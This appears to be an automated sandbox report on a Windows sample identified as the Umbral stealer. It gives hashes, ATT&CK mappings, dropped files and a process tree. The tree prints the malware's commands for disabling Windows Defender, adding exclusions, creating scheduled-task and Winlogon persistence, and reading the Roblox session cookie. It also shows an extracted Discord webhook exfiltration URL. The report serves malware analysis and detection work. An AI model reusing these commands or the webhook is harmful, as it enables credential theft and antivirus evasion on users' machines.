umbral | 185d297d3a204b586f262ce576bc40127b6ea49561b07c7e40c0a2e779df03e1

Analysis

max time kernel
52s
max time network
45s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 21:52

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General

Target

Nezure.exe
Size

8.3MB
MD5

4efce9b6099fa6bfc272b5e192fe16cc
SHA1

d5495d7d0593a0258bb50325eb0381cec5decd19
SHA256

185d297d3a204b586f262ce576bc40127b6ea49561b07c7e40c0a2e779df03e1
SHA512

0b81846c316c3790b1d3fd88953d7c9350443d8dd34cbf4311677e5706b59f4e8b0819186f7cb81b980bab88b9aa6802170536d50a989f081b0aacb68f58ca5f
SSDEEP

196608:UB4vMWmmF95vrRoypY2xNS+U1kYLLBGJt4qi5Wh4d3J4jtQG0gIe:UevBn5viETxNS+5OBU4hat0gI

Score

10^/10

umbral execution persistence spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1244715424420069449/GTIFnC19DnPwT_RfLQ395m4ILCbNzqdjl2fE6jLwJomWdfGuqMipwhUem4c7oUOG5y7l

Signatures

Detect Umbral payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1108-34-0x0000023FBA770000-0x0000023FBA7B0000-memory.dmp	family_umbral
C:\Users\Admin\AppData\Local\Temp\Umbral.exe	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\Videos\\MicrosoftSecurity.exe"	Client.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4424 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

Umbral.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe
Modifies AppInit DLL entries 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112
Executes dropped EXE 3 IoCs

Processes:

Nezur.exeClient.exeUmbral.exe

pid process

2084 Nezur.exe
3284 Client.exe
1108 Umbral.exe
Loads dropped DLL 14 IoCs

Processes:

WmiApSrv.exe

pid process

4580
1104
4092
832
2388 WmiApSrv.exe
3660
1644
4204
4808
1948
652
3060
4924
1572
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4424	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

pid	process
2084	Nezur.exe
3284	Client.exe
1108	Umbral.exe

pid	process
4580
1104
4092
832
2388	WmiApSrv.exe
3660
1644
4204
4808
1948
652
3060
4924
1572

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Chrome.exe"	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

6 discord.com
1 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Drops file in Windows directory 1 IoCs

Processes:

Client.exe

description ioc process

File created C:\Windows\xdwd.dll Client.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
6	discord.com
1	discord.com

flow	ioc
1	ip-api.com

description	ioc	process
File created	C:\Windows\xdwd.dll	Client.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3272	schtasks.exe
2600	schtasks.exe
3092	schtasks.exe
712	schtasks.exe
2400	schtasks.exe
1860	schtasks.exe
4696	schtasks.exe
1796	schtasks.exe
1640	schtasks.exe
1352	schtasks.exe
1968	schtasks.exe
780	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

4648 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2068 PING.EXE

pid	process
4648	wmic.exe

pid	process
2068	PING.EXE

Suspicious behavior: EnumeratesProcesses 37 IoCs

Processes:

Umbral.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeClient.exeWmiApSrv.exe

pid	process
1108	Umbral.exe
4424	powershell.exe
4424	powershell.exe
728	powershell.exe
728	powershell.exe
2600	powershell.exe
2600	powershell.exe
4236	powershell.exe
4236	powershell.exe
2504	powershell.exe
2504	powershell.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
3284	Client.exe
2388	WmiApSrv.exe
2388	WmiApSrv.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Client.exeUmbral.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	3284	Client.exe
Token: SeDebugPrivilege	1108	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2500	wmic.exe
Token: SeSecurityPrivilege	2500	wmic.exe
Token: SeTakeOwnershipPrivilege	2500	wmic.exe
Token: SeLoadDriverPrivilege	2500	wmic.exe
Token: SeSystemProfilePrivilege	2500	wmic.exe
Token: SeSystemtimePrivilege	2500	wmic.exe
Token: SeProfSingleProcessPrivilege	2500	wmic.exe
Token: SeIncBasePriorityPrivilege	2500	wmic.exe
Token: SeCreatePagefilePrivilege	2500	wmic.exe
Token: SeBackupPrivilege	2500	wmic.exe
Token: SeRestorePrivilege	2500	wmic.exe
Token: SeShutdownPrivilege	2500	wmic.exe
Token: SeDebugPrivilege	2500	wmic.exe
Token: SeSystemEnvironmentPrivilege	2500	wmic.exe
Token: SeRemoteShutdownPrivilege	2500	wmic.exe
Token: SeUndockPrivilege	2500	wmic.exe
Token: SeManageVolumePrivilege	2500	wmic.exe
Token: 33	2500	wmic.exe
Token: 34	2500	wmic.exe
Token: 35	2500	wmic.exe
Token: 36	2500	wmic.exe
Token: SeIncreaseQuotaPrivilege	2500	wmic.exe
Token: SeSecurityPrivilege	2500	wmic.exe
Token: SeTakeOwnershipPrivilege	2500	wmic.exe
Token: SeLoadDriverPrivilege	2500	wmic.exe
Token: SeSystemProfilePrivilege	2500	wmic.exe
Token: SeSystemtimePrivilege	2500	wmic.exe
Token: SeProfSingleProcessPrivilege	2500	wmic.exe
Token: SeIncBasePriorityPrivilege	2500	wmic.exe
Token: SeCreatePagefilePrivilege	2500	wmic.exe
Token: SeBackupPrivilege	2500	wmic.exe
Token: SeRestorePrivilege	2500	wmic.exe
Token: SeShutdownPrivilege	2500	wmic.exe
Token: SeDebugPrivilege	2500	wmic.exe
Token: SeSystemEnvironmentPrivilege	2500	wmic.exe
Token: SeRemoteShutdownPrivilege	2500	wmic.exe
Token: SeUndockPrivilege	2500	wmic.exe
Token: SeManageVolumePrivilege	2500	wmic.exe
Token: 33	2500	wmic.exe
Token: 34	2500	wmic.exe
Token: 35	2500	wmic.exe
Token: 36	2500	wmic.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeIncreaseQuotaPrivilege	3488	wmic.exe
Token: SeSecurityPrivilege	3488	wmic.exe
Token: SeTakeOwnershipPrivilege	3488	wmic.exe
Token: SeLoadDriverPrivilege	3488	wmic.exe
Token: SeSystemProfilePrivilege	3488	wmic.exe
Token: SeSystemtimePrivilege	3488	wmic.exe
Token: SeProfSingleProcessPrivilege	3488	wmic.exe
Token: SeIncBasePriorityPrivilege	3488	wmic.exe
Token: SeCreatePagefilePrivilege	3488	wmic.exe
Token: SeBackupPrivilege	3488	wmic.exe
Token: SeRestorePrivilege	3488	wmic.exe
Token: SeShutdownPrivilege	3488	wmic.exe
Token: SeDebugPrivilege	3488	wmic.exe
Token: SeSystemEnvironmentPrivilege	3488	wmic.exe
Token: SeRemoteShutdownPrivilege	3488	wmic.exe
Token: SeUndockPrivilege	3488	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Nezure.exeUmbral.execmd.exeClient.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exe

description	pid	process	target process
PID 3844 wrote to memory of 2084	3844	Nezure.exe	Nezur.exe
PID 3844 wrote to memory of 2084	3844	Nezure.exe	Nezur.exe
PID 3844 wrote to memory of 3284	3844	Nezure.exe	Client.exe
PID 3844 wrote to memory of 3284	3844	Nezure.exe	Client.exe
PID 3844 wrote to memory of 1108	3844	Nezure.exe	Umbral.exe
PID 3844 wrote to memory of 1108	3844	Nezure.exe	Umbral.exe
PID 1108 wrote to memory of 2500	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 2500	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 4628	1108	Umbral.exe	attrib.exe
PID 1108 wrote to memory of 4628	1108	Umbral.exe	attrib.exe
PID 1108 wrote to memory of 4424	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 4424	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 728	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 728	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 2600	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 2600	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 4236	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 4236	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 3488	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 3488	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 1664	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 1664	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 3956	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 3956	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 2504	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 2504	1108	Umbral.exe	powershell.exe
PID 1108 wrote to memory of 4648	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 4648	1108	Umbral.exe	wmic.exe
PID 1108 wrote to memory of 4636	1108	Umbral.exe	cmd.exe
PID 1108 wrote to memory of 4636	1108	Umbral.exe	cmd.exe
PID 4636 wrote to memory of 2068	4636	cmd.exe	PING.EXE
PID 4636 wrote to memory of 2068	4636	cmd.exe	PING.EXE
PID 3284 wrote to memory of 240	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 240	3284	Client.exe	CMD.exe
PID 240 wrote to memory of 712	240	CMD.exe	schtasks.exe
PID 240 wrote to memory of 712	240	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 2636	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 2636	3284	Client.exe	CMD.exe
PID 2636 wrote to memory of 2400	2636	CMD.exe	schtasks.exe
PID 2636 wrote to memory of 2400	2636	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 780	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 780	3284	Client.exe	CMD.exe
PID 780 wrote to memory of 1860	780	CMD.exe	schtasks.exe
PID 780 wrote to memory of 1860	780	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 776	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 776	3284	Client.exe	CMD.exe
PID 776 wrote to memory of 4696	776	CMD.exe	schtasks.exe
PID 776 wrote to memory of 4696	776	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 4444	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 4444	3284	Client.exe	CMD.exe
PID 4444 wrote to memory of 1796	4444	CMD.exe	schtasks.exe
PID 4444 wrote to memory of 1796	4444	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 2944	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 2944	3284	Client.exe	CMD.exe
PID 2944 wrote to memory of 3272	2944	CMD.exe	schtasks.exe
PID 2944 wrote to memory of 3272	2944	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 3416	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 3416	3284	Client.exe	CMD.exe
PID 3416 wrote to memory of 2600	3416	CMD.exe	schtasks.exe
PID 3416 wrote to memory of 2600	3416	CMD.exe	schtasks.exe
PID 3284 wrote to memory of 2336	3284	Client.exe	CMD.exe
PID 3284 wrote to memory of 2336	3284	Client.exe	CMD.exe
PID 2336 wrote to memory of 3092	2336	CMD.exe	schtasks.exe
PID 2336 wrote to memory of 3092	2336	CMD.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

4628 attrib.exe

pid	process
4628	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nezure.exe
"C:\Users\Admin\AppData\Local\Temp\Nezure.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3844

C:\Users\Admin\AppData\Local\Temp\Nezur.exe
"C:\Users\Admin\AppData\Local\Temp\Nezur.exe"
2⤵
- Executes dropped EXE
PID:2084

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284

C:\Windows\SYSTEM32\CMD.exe
"CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Ableton Live" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:240

C:\Windows\system32\schtasks.exe
SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Ableton Live" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe"
4⤵
- Creates scheduled task(s)
PID:712

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:2400

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Adobe Premiere Pro" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\Chrome.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo 5 /tn "Adobe Premiere Pro" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\Chrome.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:1860

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:4696

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:1796

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:3272

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:2600

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:3092

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
PID:3012

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:1640

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
PID:1680

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:1968

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
PID:1284

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:780

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
3⤵
PID:1764

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
4⤵
- Creates scheduled task(s)
PID:1352

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\SYSTEM32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
3⤵
- Views/modifies file attributes
PID:4628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4236

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3488

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
3⤵
PID:1664

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2504

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4648

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
3⤵
- Suspicious use of WriteProcessMemory
PID:4636

C:\Windows\system32\PING.EXE
ping localhost
4⤵
- Runs ping.exe
PID:2068

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2388

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Remote System Discovery

T1018

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b2f8b5bf54e10ae4d93a2eac002cb497

SHA1
eccc3cd33596075bf413e4249c1f2491b1b2a6c7

SHA256
44e6afcd4b56b7cbc81c4ce55e62b7ae6f8d44948f2b9cc9a6ee9a9adfdce02d

SHA512
58c5911a9b98b94909e627f498f839a55383aa213afd9a837ed1f8543198a79a856baa02373f948bfbb0cfd149e7962e2356cdad6695dc6411840faa09700686

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
05b3cd21c1ec02f04caba773186ee8d0

SHA1
39e790bfe10abf55b74dfb3603df8fcf6b5e6edb

SHA256
911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8

SHA512
e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
948B

MD5
87ebe221d639e66210ef10c93e5f83c3

SHA1
483a666b82f7b59e2d569f6f331fa3989fe0f526

SHA256
9a41c90023823aa68dc48f5d8592910dc2ad1116bf54870a0832aba787990380

SHA512
2a1e22894388a79526f39db4fa7c65db92626719337f865eaac39d0bb28dc95726fba62c1f0d659864843a2804bd803fe3dfbc0840421c80ff735192928efcce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client.exe
Filesize
578KB

MD5
1984de1def2a649295eb4683cef7b145

SHA1
b3772c1d98f1d18bafd8cf4781f65fc17f20811a

SHA256
ad1ca0ede87c65ab25cca6d7899da474b27ee5631e55c21120e857d16b9802b2

SHA512
8b64bec1f124bfe5df9e3b8f7fcae5921836604c67e537445c48bcc2b7ac0b71d00fc7c8f8609799577bce4cdf24bed38eb0c23bb537881c74216f416a665a65

Download Submit
C:\Users\Admin\AppData\Local\Temp\Nezur.exe
Filesize
7.9MB

MD5
754c5ad19cb3bc21a58bccf028bc2b86

SHA1
66fe0f66d80023b347707248abe6e44e5f9d98ce

SHA256
8445e6223a5f1b7f33b0320560b34139ab758006ed4492f581e2b90d3e104f5b

SHA512
fdbbfbc10c58e909da664e643bffbe640b4b3242df0da2d5bd40d9691f96ce6cca4c27e166dff7e290b3a5f012b0a3e135e1650bf61a7484253c59cc54177790

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe
Filesize
230KB

MD5
9e9bbff99af7ac67d8bd79f854bd569c

SHA1
cce432ed7fc4aa23daf8311e2ef3ea2f056c1ca6

SHA256
e0465af4219a63f50e3a44f579d27dc9a0188797faf7f614b5f2ecc1d899a24c

SHA512
7b70e1cd5b900aa16894c5cd13925f799d59e11fc3113adeeaf4d770e27b4088546f8e21c674d3aed3c13ccc06c04c22a2d54c8286dda28fee77fd0fd1a870b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjlebmfj.0m2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\xdwd.dll
Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
